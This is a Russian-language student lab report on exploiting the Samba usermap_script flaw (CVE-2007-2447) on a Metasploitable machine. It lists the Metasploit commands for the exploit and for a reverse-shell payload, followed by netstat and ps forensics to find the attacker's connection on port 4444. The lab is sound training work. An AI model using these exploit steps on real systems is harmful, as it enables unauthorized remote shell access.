Тыщенко Леонид Михайлович, 11-902

Лабораторная работа №3. Использование уязвимости протокола Samba

Атака на Metasploitable

1. Использован файл с отсканированными портами из лабораторной работы 2
2. определены порты, используемые пакетом samba с помощью команды grep.

### Активация эксплоита для использования уязвимости CVE - 2007 - 2447

1. в терминале Kali Linux запущена консоль msfconsole;
2. запущен эксплоит, позволяющий использовать уязвимость CVE - 2007 – 2447, с помощью команды use exploit/multi/samba/usermap\_script;.
3. для эксплоита установить payload, осуществляющий передачу sh-консоли по telnet с помощью команды set PAYLOAD cmd/unix/reverse;

Примечание. Payload – часть вредоносного ПО, позволяющая «атакующему» контролировать систему «жертвы» после того, как система была взломана, осуществляющая вредоносное действие.

1. установлены значения адреса атакуемой системы (RHOST), порт (RPORT), адрес атакующей системы (LHOST);
2. активирован эксплоит командой exploit;.

## Форензика

### Выявление аномальной активности на машине-жертве.

1. повышены привилегии до привилегий супер-пользователя;
2. осуществлен поиск аномальной активности с помощью утилиты netstat – определить перечень «подозрительно» открытых портов и системных процессов, работающих на этих портах; (netstat -naop | grep 4444)
3. выполнен анализ таких системных процессов (ps -eaf | grep 5374 | grep -v grep, ps -eaf | grep 5377 | grep -v grep)
4. выполнен анализ системных процессов, инициированных «атакующим» и работающих с портом «атакующего»; (ps -eaf | grep 4444 | grep -v grep)
5. сохранены результаты анализа в файл /var/tmp/samba.txt.

netstat -naop | grep 4444 > /var/tmp/samba.txt

ps -eaf | grep 4444 >> /var/tmp/samba.txt

## Оформление результатов работы

